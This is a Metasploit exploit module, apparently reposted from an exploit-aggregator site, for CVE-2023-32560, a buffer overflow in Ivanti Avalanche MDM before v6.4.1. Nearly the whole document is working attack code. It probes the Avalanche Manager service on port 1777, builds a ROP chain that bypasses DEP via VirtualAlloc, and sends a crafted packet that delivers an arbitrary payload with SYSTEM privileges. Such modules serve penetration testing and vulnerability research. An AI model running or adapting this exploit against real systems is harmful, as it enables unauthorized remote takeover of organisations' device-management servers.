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## https://sploitus.com/exploit?id=1337DAY-ID-39070
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ivanti Avalanche MDM Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow condition in Ivanti Avalanche MDM versions before v6.4.1.
An attacker can send a specially crafted message to the Wavelink Avalanche Manager,
which could result in arbitrary code execution with the NT/AUTHORITY SYSTEM permissions.
This vulnerability occurs during the processing of 3/5/8/100/101/102 item data types.
The program tries to copy the item data using `qmemcopy` to a fixed size data buffer on stack.
Upon successful exploitation the attacker gains full access to the target system.
This vulnerability has been tested against Ivanti Avalanche MDM v6.4.0.0 on Windows 10.
},
'License' => MSF_LICENSE,
'Author' => [
'Ege BALCI egebalci[at]pm.me', # PoC & Msf Module
'A researcher at Tenable' # Discovery
],
'References' => [
['CVE', '2023-32560'],
['URL', 'https://www.tenable.com/security/research/tra-2023-27'],
['URL', 'https://forums.ivanti.com/s/article/Avalanche-Vulnerabilities-Addressed-in-6-4-1']
],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Arch' => ARCH_X86,
'Payload' => {
'BadChars' => "\x3b"
},
'Targets' => [['Ivanti Avalanche <= v6.4.0.0', {}]],
'Privileged' => true,
'DisclosureDate' => '2023-08-14',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
)
)
register_options(
[
OptPort.new('RPORT', [true, 'The remote Avalanche Manager port', 1777])
]
)
end
def check
begin
connect
rescue StandardError
print_error('Could not connect to target!')
return Exploit::CheckCode::Safe
end
res = sock.get_once
if res =~ /p\.guid/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def exploit
expected_payload_size = 622
# This is a custom ROP chain for bypassing DEP via VirtualAlloc
rop_chain = [0x00544498].pack('V') # pop edx ; mov eax, 0x00000022 ; ret ;
rop_chain += [0x00001000].pack('V') # flAllocationType
rop_chain += [0x00499ac0].pack('V') # pop eax ; ret ;
rop_chain += [0x0056a208].pack('V') # VirtualAlloc IAT entry
rop_chain += [0x00566650].pack('V') # pop ecx ; ret ;
rop_chain += [0x00000040].pack('V') # flProtect
rop_chain += [0x0054b079].pack('V') # pop ebx ; ret ;
rop_chain += [0x00000320].pack('V') # dwSize
rop_chain += [0x00402323].pack('V') # pop ebp; ret
rop_chain += [0x0055642a].pack('V') # pop eax; ret
rop_chain += [0x0052ad90].pack('V') # pop esi; ret;
rop_chain += [0x0042792f].pack('V') # jmp [eax]
rop_chain += [0x00521907].pack('V') # pop edi ; ret ;
rop_chain += [0x00568968].pack('V') # ret ;
rop_chain += [0x004995ab].pack('V') # pushad ; ret ;
rop_chain += [0x00499c20].pack('V') # push esp ; ret
# Because of the compiler optimized `qmemcpy`
# we are not able to directly return to out smashed stack.
# This buffer re-arranges the entire stack for escaping
# the longass function without crashing.
buf = Rex::Text.rand_text_alpha(136)
buf += [0].pack('V') # set empty register
buf += [0].pack('V') # set empty register
buf += [0].pack('V') # stack alignment buffer
buf += [0].pack('V') # stack alignment buffer
buf += [0x00511a80].pack('V') # ESP -> $(rop: "add esp, 0x10 ; ret ;")
buf += [0x00583900].pack('V') # .data section scratch space
buf += [0x00583900].pack('V') # .data section scratch space
buf += [0x00585858].pack('V') # .data section scratch space
buf += [0x00585857].pack('V') # .data section scratch space
# ==================
name1 = 'h.mid'
value1 = "\x30"
name2 = 'h.cmd'
value2 = "\x31\x39"
name3 = 'p.waitprofile'
value3 = (buf + rop_chain + make_nops(expected_payload_size - payload.encoded.length) + payload.encoded)
item1 = [2].pack('N')
item1 += [name1.length].pack('N')
item1 += [value1.length].pack('N')
item1 += name1 + value1
item2 = [2].pack('N')
item2 += [name2.length].pack('N')
item2 += [value2.length].pack('N')
item2 += name2 + value2
item3 = [101].pack('N')
item3 += [name3.length].pack('N')
item3 += [value3.length].pack('N')
item3 += name3 + value3
hp = item1 + item2 + item3
if hp.length % 16 != 0 # Add padding if not power of 16
hp += ("\x00" * (16 - (hp.length % 16)))
end
preamble = [hp.length + 16].pack('N')
preamble += [item1.length + item2.length].pack('N')
preamble += [(hp.length + 16) - 0x3b].pack('N')
preamble += [0].pack('N')
packet = preamble + hp
print_status('Connecting to target...')
connect
res = sock.get_once
fail_with(Failure::UnexpectedReply, 'Could not connect to MDM service - no response') if res.nil?
print_status('Sending payload...')
sock.put(packet)
disconnect
end
end